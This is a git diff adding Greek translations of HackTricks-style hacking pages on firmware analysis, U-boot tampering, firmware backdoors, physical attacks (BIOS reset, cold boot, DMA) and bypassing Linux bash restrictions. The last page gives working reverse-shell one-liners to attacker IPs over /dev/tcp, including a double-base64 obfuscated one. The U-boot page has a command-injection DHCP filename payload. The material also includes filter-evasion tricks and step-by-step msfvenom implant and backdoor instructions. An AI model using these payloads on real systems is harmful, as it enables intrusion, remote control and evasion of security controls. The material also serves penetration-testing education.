|
* [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT\_core) για λεπτομερή ανάλυση του firmware
|
||||||
|
* [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) και [**EMBA**](https://github.com/e-m-b-a/emba) για στατική και δυναμική ανάλυση
|
||||||
|
|
||||||
|
### Έλεγχοι Ασφάλειας σε Μεταγλωττισμένα Δυαδικά Αρχεία
|
||||||
|
|
||||||
|
Τόσο ο πηγαίος κώδικας όσο και τα μεταγλωττισμένα δυαδικά αρχεία που βρίσκονται στο σύστημα αρχείων πρέπει να ελεγχθούν για ευπάθειες. Εργαλεία όπως το **checksec.sh** για δυαδικά αρχεία Unix και το **PESecurity** για δυαδικά αρχεία Windows βοηθούν στον εντοπισμό μη προστατευμένων δυαδικών αρχείων που μπορούν να εκμεταλλευτούν.
|
||||||
|
|
||||||
|
## Προσομοίωση Firmware για Δυναμική Ανάλυση
|
||||||
|
|
||||||
|
Η διαδικασία προσομοίωσης του firmware επιτρέπει τη **δυναμική ανάλυση** είτε της λειτουργίας μιας συσκευής είτε ενός μεμονωμένου προγράμματος. Αυτή η προσέγγιση μπορεί να αντιμετωπίσει προκλήσεις με εξαρτήσεις από υλικό ή αρχιτεκτονική, αλλά η μεταφορά του ριζικού συστήματος αρχείων ή συγκεκριμένων δυαδικών αρχείων σε μια συσκευή με την ίδια αρχιτεκτονική και τέλεια σειρά byte, όπως ένα Raspberry Pi, ή σε μια προετοιμασμένη εικονική μηχανή, μπορεί να διευκολύνει περαιτέρω δοκιμές.
|
||||||
|
|
||||||
|
### Προσομοίωση Μεμονωμένων Δυαδικών Αρχείων
|
||||||
|
|
||||||
|
Για την εξέταση μεμονωμένων προγραμμάτων, είναι κρίσιμο να αναγνωριστεί η σειρά byte και η αρχιτεκτονική του προγράμματος.
|
||||||
|
|
||||||
|
#### Παράδειγμα με Αρχιτεκτονική MIPS
|
||||||
|
|
||||||
|
Για να προσομοιώσετε ένα δυαδικό αρχείο με αρχιτεκτονική MIPS, μπορείτε να χρησιμοποιήσετε την εντολή:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
file ./squashfs-root/bin/busybox
|
||||||
|
```
|
||||||
|
|
||||||
|
Και για να εγκαταστήσετε τα απαραίτητα εργαλεία εξομοίωσης:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
|
||||||
|
```
|
||||||
|
|
||||||
|
Για το MIPS (big-endian), χρησιμοποιείται το `qemu-mips`, ενώ για τα little-endian δυαδικά, η επιλογή θα ήταν το `qemu-mipsel`.
|
||||||
|
|
||||||
|
#### Προσομοίωση Αρχιτεκτονικής ARM
|
||||||
|
|
||||||
|
Για τα δυαδικά αρχεία ARM, η διαδικασία είναι παρόμοια, με τον εξομοιωτή `qemu-arm` να χρησιμοποιείται για την προσομοίωση.
|
||||||
|
|
||||||
|
### Πλήρης Προσομοίωση Συστήματος
|
||||||
|
|
||||||
|
Εργαλεία όπως το [Firmadyne](https://github.com/firmadyne/firmadyne), το [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) και άλλα, διευκολύνουν την πλήρη προσομοίωση του firmware, αυτοματοποιώντας τη διαδικασία και βοηθώντας στη δυναμική ανάλυση.
|
||||||
|
|
||||||
|
## Τεχνικές Δυναμικής Ανάλυσης στην Πράξη
|
||||||
|
|
||||||
|
Σε αυτό το στάδιο, χρησιμοποιείται είτε ένα πραγματικό είτε ένα εξομοιωμένο περιβάλλον συσκευής για ανάλυση. Είναι απαραίτητο να διατηρείται πρόσβαση στο κέλυφος του λειτουργικού συστήματος και στο σύστημα αρχείων. Η προσομοίωση ενδέχεται να μην αντιγράφει απόλυτα τις αλληλεπιδράσεις του υλικού, επομένως ενδέχεται να χρειαστούν περιοδικές επανεκκινήσεις της προσομοίωσης. Η ανάλυση θα πρέπει να επανεξετάζει το σύστημα αρχείων, να εκμεταλλεύεται εκθέτομενες ιστοσελίδες και υπηρεσίες δικτύου και να εξετάζει ευπάθειες του εκκινητή. Οι δοκιμές ακεραιότητας του firmware είναι κρίσιμες για τον εντοπισμό πιθανών ευπάθειών πίσω πόρτας.
|
||||||
|
|
||||||
|
## Τεχνικές Ανάλυσης Εκτέλεσης
|
||||||
|
|
||||||
|
Η ανάλυση εκτέλεσης περιλαμβάνει την αλληλεπίδραση με ένα διεργασία ή δυαδικό αρχείο στο περιβάλλον λειτουργίας του, χρησιμοποιώντας εργαλεία όπως το gdb-multiarch, το Frida και το Ghidra για τον ορισμό σημείων ανακοπής και τον εντοπισμό ευπαθειών μέσω της τεχνικής του fuzzing και άλλων τεχνικών.
|
||||||
|
|
||||||
|
## Εκμετάλλευση Δυαδικών Αρχείων και Απόδειξη Έκθεσης
|
||||||
|
|
||||||
|
Για την ανάπτυξη μιας απόδειξης έκθεσης για εντοπισμένες ευπάθειες, απαιτείται μια βαθιά κατανόηση της αρχιτεκτονικής στόχου και της προγραμματισμού σε γλώσσες χαμηλού επιπέδου. Οι προστασίες εκτέλεσης δυαδικών σε ενσωματωμένα συστήματα είναι σπάνιες, αλλά όταν υπάρχουν, ενδέχεται να είναι απαραίτητες τεχνικές όπως η Return Oriented Programming (ROP).
|
||||||
|
|
||||||
|
## Προετοιμασμένα Λειτουργικά Συστήματα για Ανάλυση Firmware
|
||||||
|
|
||||||
|
Λειτουργικά συστήματα όπως το [AttifyOS](https://github.com/adi0x90/attifyos) και το [EmbedOS](https://github.com/scriptingxss/EmbedOS) παρέχουν προετοιμασμένα περιβάλλοντα για τη δοκιμή ασφάλειας του firmware, εφοδιασμένα με τα απαραίτητα εργαλεία.
|
||||||
|
|
||||||
|
## Προετοιμασμένα ΛΣ για την Ανάλυση Firmware
|
||||||
|
|
||||||
|
* [**AttifyOS**](https://github.com/adi0x90/attifyos): Το AttifyOS είναι μια διανομή που σκοπό έχει να σας βοηθήσει να πραγματοποιήσετε αξιολόγηση ασφάλειας και δοκιμές διείσδυσης σε συσκευές Internet of Things (IoT). Σας εξοικονομεί πολύ χρόνο παρέχοντας ένα προετοιμασμένο περιβάλλον με όλα τα απαραίτητα εργαλεία φορτωμένα.
|
||||||
|
* [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Λειτουργικό σύστημα ασφαλείας ενσωματωμένων συστημάτων βασισμένο στο Ubuntu 18.04 προφορτωμένο με εργαλεία για την ασφάλεια του firmware.
|
||||||
|
|
||||||
|
## Ευπαθή Firmware για Πρακτική
|
||||||
|
|
||||||
|
Για να πρακτικά ανακαλύψετε ευπάθειες στο firmware, χρησιμοποιήστε τα παρακάτω ευπαθή έργα firmware ως αφετηρία.
|
||||||
|
|
||||||
|
* OWASP IoTGoat
|
||||||
|
* [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
|
||||||
|
* The Damn Vulnerable Router Firmware Project
|
||||||
|
* [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF)
|
||||||
|
* Damn Vulnerable ARM Router (DVAR)
|
||||||
|
* [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)
|
||||||
|
* ARM-X
|
||||||
|
* [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads)
|
||||||
|
* Azeria Labs VM 2.0
|
||||||
|
* [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/)
|
||||||
|
* Damn Vulnerable IoT Device (DVID)
|
||||||
|
* [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
|
||||||
|
|
||||||
|
## Αναφορές
|
||||||
|
|
||||||
|
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||||
|
* [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
|
||||||
|
|
||||||
|
## Εκπαίδευση και Πιστοποίηση
|
||||||
|
|
||||||
|
* \[https://www.attify-store.com/products/offensive-iot-exploitation]\(https://www.attify-store.com/products/offensive-iot-exp
|
|
@ -0,0 +1,66 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Συμμετάσχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ τρικς σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
Οι παρακάτω βήματα συνιστώνται για την τροποποίηση των ρυθμίσεων εκκίνησης συσκευής και των bootloaders όπως το U-boot:
|
||||||
|
|
||||||
|
1. **Πρόσβαση στο Interpreter Shell του Bootloader**:
|
||||||
|
- Κατά τη διάρκεια της εκκίνησης, πατήστε "0", κενό ή άλλους "μαγικούς κωδικούς" για να αποκτήσετε πρόσβαση στο interpreter shell του bootloader.
|
||||||
|
|
||||||
|
2. **Τροποποίηση των Boot Arguments**:
|
||||||
|
- Εκτελέστε τις παρακάτω εντολές για να προσθέσετε το '`init=/bin/sh`' στα boot arguments, επιτρέποντας την εκτέλεση μιας εντολής κέλυφους:
|
||||||
|
%%%
|
||||||
|
#printenv
|
||||||
|
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
|
||||||
|
#saveenv
|
||||||
|
#boot
|
||||||
|
%%%
|
||||||
|
|
||||||
|
3. **Διαμόρφωση TFTP Server**:
|
||||||
|
- Διαμορφώστε έναν TFTP server για να φορτώνει εικόνες μέσω του τοπικού δικτύου:
|
||||||
|
%%%
|
||||||
|
#setenv ipaddr 192.168.2.2 #τοπική IP της συσκευής
|
||||||
|
#setenv serverip 192.168.2.1 #IP του TFTP server
|
||||||
|
#saveenv
|
||||||
|
#reset
|
||||||
|
#ping 192.168.2.1 #έλεγχος πρόσβασης στο δίκτυο
|
||||||
|
#tftp ${loadaddr} uImage-3.6.35 #το loadaddr παίρνει τη διεύθυνση για να φορτώσει το αρχείο και το όνομα της εικόνας στον TFTP server
|
||||||
|
%%%
|
||||||
|
|
||||||
|
4. **Χρήση του `ubootwrite.py`**:
|
||||||
|
- Χρησιμοποιήστε το `ubootwrite.py` για να γράψετε την εικόνα του U-boot και να εισάγετε μια τροποποιημένη firmware για να αποκτήσετε root πρόσβαση.
|
||||||
|
|
||||||
|
5. **Έλεγχος Χαρακτηριστικών Debug**:
|
||||||
|
- Επαληθεύστε εάν τα χαρακτηριστικά debug όπως η αναλυτική καταγραφή, η φόρτωση αυθαίρετων πυρήνων ή η εκκίνηση από μη έμπιστες πηγές είναι ενεργοποιημένα.
|
||||||
|
|
||||||
|
6. **Προσοχή στην Παρεμβολή Υλικού**:
|
||||||
|
- Να είστε προσεκτικοί όταν συνδέετε ένα pin στη γείωση και αλληλεπιδράτε με τα flash chips SPI ή NAND κατά τη διάρκεια της ακολουθίας εκκίνησης της συσκευής, ιδιαίτερα πριν από την αποσυμπίεση του πυρήνα. Πριν από τη σύντομη σύνδεση των pin, συμβουλευτείτε το εγχειρίδιο του flash chip NAND.
|
||||||
|
|
||||||
|
7. **Διαμόρφωση Επιθετικού Διακομιστή DHCP**:
|
||||||
|
- Δημιουργήστε έναν επιθετικό διακομιστή DHCP με κακόβουλες παραμέτρους για να χρησιμοποιηθούν από μια συσκευή κατά τη διάρκεια μιας PXE εκκίνησης. Χρησιμοποιήστε εργαλεία όπως ο επιπλέον διακομιστής DHCP του Metasploit (MSF). Τροποποιήστε την παράμετρο 'FILENAME' με εντολές ενσωμάτωσης εντολών όπως `'a";/bin/sh;#'` για να ελέγξετε τον έλεγχο εισόδου για τις διαδικασίες εκκίνησης της συσκευής.
|
||||||
|
|
||||||
|
**Σημείωση**: Τα βήματα που απαιτούν φυσική αλληλεπίδραση με τα pin της συσκευής (*σημειωμένα με αστερίσκο) πρέπει να προσεγγίζονται με μεγάλη προσοχή για να αποφευχθεί η ζημιά της συσκευής.
|
||||||
|
|
||||||
|
|
||||||
|
## Αναφορές
|
||||||
|
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε τ
|
|
@ -0,0 +1,41 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Ακεραιότητα Firmware
|
||||||
|
|
||||||
|
Το **προσαρμοσμένο firmware και/ή οι μεταγλωττισμένες δυαδικές εντολές μπορούν να ανέβουν για εκμετάλλευση αδυναμιών ακεραιότητας ή επαλήθευσης υπογραφής**. Οι παρακάτω βήματα μπορούν να ακολουθηθούν για τη σύνθεση ενός backdoor bind shell:
|
||||||
|
|
||||||
|
1. Το firmware μπορεί να εξαχθεί χρησιμοποιώντας το firmware-mod-kit (FMK).
|
||||||
|
2. Πρέπει να αναγνωριστεί η αρχιτεκτονική και η endianness του επιθυμητού firmware.
|
||||||
|
3. Μπορεί να δημιουργηθεί ένας διασυνδετήρας μεταγλωττισμού χρησιμοποιώντας το Buildroot ή άλλες κατάλληλες μεθόδους για το περιβάλλον.
|
||||||
|
4. Το backdoor μπορεί να δημιουργηθεί χρησιμοποιώντας τον διασυνδετήρα μεταγλωττισμού.
|
||||||
|
5. Το backdoor μπορεί να αντιγραφεί στον κατάλογο /usr/bin του εξαχθέντος firmware.
|
||||||
|
6. Το κατάλληλο δυαδικό QEMU μπορεί να αντιγραφεί στο rootfs του εξαχθέντος firmware.
|
||||||
|
7. Το backdoor μπορεί να προσομοιωθεί χρησιμοποιώντας το chroot και το QEMU.
|
||||||
|
8. Το backdoor μπορεί να προσπελαστεί μέσω του netcat.
|
||||||
|
9. Το δυαδικό QEMU πρέπει να αφαιρεθεί από το rootfs του εξαχθέντος firmware.
|
||||||
|
10. Το τροποποιημένο firmware μπορεί να επανασυσκευαστεί χρησιμοποιώντας το FMK.
|
||||||
|
11. Το backdoored firmware μπορεί να δοκιμαστεί προσομοιώνοντάς το με το εργαλείο ανάλυσης firmware (FAT) και συνδέοντας στην IP και θύρα του επιθυμητού backdoor χρησιμοποιώντας το netcat.
|
||||||
|
|
||||||
|
Εάν έχει ήδη ληφθεί ένα root shell μέσω δυναμικής ανάλυσης, παρεμβολής του φορτωτή, ή δοκιμών ασφαλείας υλικού, μπορούν να εκτελεστούν κακόβουλες δυαδικές εντολές όπως implants ή αντίστροφα κελύφη. Αυτό μπορεί να γίνει χρησιμοποιώντας τα αυτόματα εργαλεία φορτίου/implant όπως το Metasploit framework και το 'msfvenom' ακολουθώντας τα παρακάτω βήματα:
|
||||||
|
|
||||||
|
1. Πρέπει να αναγνωριστεί η αρχιτεκτονική και η endianness του επιθυμητού firmware.
|
||||||
|
2. Το msfvenom μπορεί να χρησιμοποιηθεί για να καθορίσει το φορτίο στόχο, τη διεύθυνση IP του επιτιθέμενου υπολογιστή, τον αριθμό θύρας ακρόασης, τον τύπο αρχείου, την αρχιτεκτονική, την πλατφόρμα και το αρχείο εξόδου.
|
||||||
|
3. Το φορτίο μπορεί να μεταφερθεί στην παραβιασμένη συσκευή και να εξασφαλιστεί ότι έχει δικαιώματα εκτέλεσης.
|
||||||
|
4. Το Metasploit μπορεί να προετοιμαστεί για την αντιμετώπιση εισερχόμενων αιτημάτων ξεκινώντας το msfconsole και ρυθμίζοντας τις ρυθμίσεις ανάλογα με το φορτίο.
|
||||||
|
5. Το αντίστροφο κέλυφος meterpreter μπορεί να εκτελεστεί στην παραβιασμένη συσκευή.
|
||||||
|
6. Οι συνεδρίες meterpreter μπορούν να παρακολουθούνται καθώς ανοίγονται.
|
||||||
|
7. Μπορούν να πραγματοποιηθούν δραστηριότητες μετά την εκμετάλλευση.
|
||||||
|
|
||||||
|
Εάν είναι δυνατόν, μπορούν να εκμεταλλευτούν ευπάθειες στα scripts εκκίνησης για να αποκτηθεί μόνιμη πρόσβαση σε μια συσκευή μετά από επανεκκίνηση. Αυτές οι ευπάθειες προκύπτουν όταν τα scripts εκκίνησης αναφέρονται, [συμβολικά συν
|
37
hardware-physical-access/physical-attacks.md
Normal file
37
hardware-physical-access/physical-attacks.md
Normal file
|
@ -0,0 +1,37 @@
|
||||||
|
# Φυσικές Επιθέσεις
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Συμμετάσχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Ανάκτηση Κωδικού Πρόσβασης BIOS και Ασφάλεια Συστήματος
|
||||||
|
|
||||||
|
Η **επαναφορά του BIOS** μπορεί να επιτευχθεί με διάφορους τρόπους. Οι περισσότερες μητρικές πλακέτες περιλαμβάνουν μια **μπαταρία** που, όταν αφαιρεθεί για περίπου **30 λεπτά**, θα επαναφέρει τις ρυθμίσεις του BIOS, συμπεριλαμβανομένου του κωδικού πρόσβασης. Εναλλακτικά, μπορεί να προσαρμοστεί ένας **διακόπτης στη μητρική πλακέτα** για την επαναφορά αυτών των ρυθμίσεων συνδέοντας συγκεκριμένα ακροδέκτες.
|
||||||
|
|
||||||
|
Σε περιπτώσεις όπου οι προσαρμογές υλικού δεν είναι δυνατές ή πρακτικές, τα **εργαλεία λογισμικού** προσφέρουν μια λύση. Η εκτέλεση ενός συστήματος από ένα **Live CD/USB** με διανομές όπως το **Kali Linux** παρέχει πρόσβαση σε εργαλεία όπως το **_killCmos_** και το **_CmosPWD_**, τα οποία μπορούν να βοηθήσουν στην ανάκτηση του κωδικού πρόσβασης του BIOS.
|
||||||
|
|
||||||
|
Σε περιπτώσεις όπου ο κωδικός πρόσβασης του BIOS είναι άγνωστος, η εισαγωγή του λανθασμένα **τρεις φορές** συνήθως θα οδηγήσει σε έναν κωδικό σφάλματος. Αυτός ο κωδικός μπορεί να χρησιμοποιηθεί σε ιστότοπους όπως το [https://bios-pw.org](https://bios-pw.org) για την πιθανή ανάκτηση ενός χρησιμοποιήσιμου κωδικού πρόσβασης.
|
||||||
|
|
||||||
|
### Ασφάλεια UEFI
|
||||||
|
|
||||||
|
Για σύγχρονα συστήματα που χρησιμοποιούν το **UEFI** αντί για το παραδοσιακό BIOS, το εργαλείο **chipsec** μπορεί να χρησιμοποιηθεί για την ανάλυση και την τροποποίηση των ρυθμίσεων του UEFI, συμπεριλαμβανομένης της απενεργοποίησης του **Secure Boot**. Αυτό μπορεί να επιτευχθεί με την ακόλουθη εντολή:
|
||||||
|
|
||||||
|
`python chipsec_main.py -module exploits.secure.boot.pk`
|
||||||
|
|
||||||
|
### Ανάλυση RAM και Επιθέσεις Cold Boot
|
||||||
|
|
||||||
|
Η RAM διατηρεί τα δεδομένα για μικρό χρονικό διάστημα μετά τη διακοπή της τροφοδοσίας, συνήθως για **1 έως 2 λεπτά**. Αυτή η διάρκεια μπορεί να επεκταθεί σε **10 λεπτά** εφαρμόζοντας κρύες ουσίες, όπως υγρό αζωτού. Κατά τη διάρκεια αυτής της επεκταμένης περιόδου, μπορεί να δημιουργηθεί ένα **αντίγραφο μνήμης** χρησιμοποιώντας εργαλεία όπως το **dd.exe** και το **volatility** για ανάλυση.
|
||||||
|
|
||||||
|
### Επιθέσεις Άμεσης Πρόσβασης στη Μνήμη (DMA)
|
||||||
|
|
||||||
|
Το **INCEPTION** είναι ένα εργαλείο που σχεδιάστηκε για τη **φυσική παρέμβαση στη μνήμη** μέσω DMA, συμβατό με διεπαφές όπως **FireWire** και **Thunderbolt**. Επιτρέπει την παράκαμψη των διαδικασιών σύνδεσης συνδέσμου με την τροποποίηση της μνήμης για να αποδεχθεί οποιονδήποτε κωδικό πρόσβασης. Ωστόσο, δεν είναι αποτελεσματικό ενάντια σε συστήματα **Windows 10
|
359
linux-hardening/bypass-bash-restrictions/README.md
Normal file
359
linux-hardening/bypass-bash-restrictions/README.md
Normal file
|
@ -0,0 +1,359 @@
|
||||||
|
# Παράκαμψη Περιορισμών Linux
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο **προηγμένα εργαλεία κοινότητας** στον κόσμο.\
|
||||||
|
Αποκτήστε πρόσβαση σήμερα:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
## Παρακάμψεις Κοινών Περιορισμών
|
||||||
|
|
||||||
|
### Αντίστροφο Shell
|
||||||
|
```bash
|
||||||
|
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
|
||||||
|
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
|
||||||
|
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
|
||||||
|
```
|
||||||
|
### Σύντομο Rev shell
|
||||||
|
```bash
|
||||||
|
#Trick from Dikline
|
||||||
|
#Get a rev shell with
|
||||||
|
(sh)0>/dev/tcp/10.10.10.10/443
|
||||||
|
#Then get the out of the rev shell executing inside of it:
|
||||||
|
exec >&0
|
||||||
|
```
|
||||||
|
### Παράκαμψη Διαδρομών και απαγορευμένων λέξεων
|
||||||
|
```bash
|
||||||
|
# Question mark binary substitution
|
||||||
|
/usr/bin/p?ng # /usr/bin/ping
|
||||||
|
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost
|
||||||
|
|
||||||
|
# Wildcard(*) binary substitution
|
||||||
|
/usr/bin/who*mi # /usr/bin/whoami
|
||||||
|
|
||||||
|
# Wildcard + local directory arguments
|
||||||
|
touch -- -la # -- stops processing options after the --
|
||||||
|
ls *
|
||||||
|
echo * #List current files and folders with echo and wildcard
|
||||||
|
|
||||||
|
# [chars]
|
||||||
|
/usr/bin/n[c] # /usr/bin/nc
|
||||||
|
|
||||||
|
# Quotes
|
||||||
|
'p'i'n'g # ping
|
||||||
|
"w"h"o"a"m"i # whoami
|
||||||
|
ech''o test # echo test
|
||||||
|
ech""o test # echo test
|
||||||
|
bas''e64 # base64
|
||||||
|
|
||||||
|
#Backslashes
|
||||||
|
\u\n\a\m\e \-\a # uname -a
|
||||||
|
/\b\i\n/////s\h
|
||||||
|
|
||||||
|
# $@
|
||||||
|
who$@ami #whoami
|
||||||
|
|
||||||
|
# Transformations (case, reverse, base64)
|
||||||
|
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case
|
||||||
|
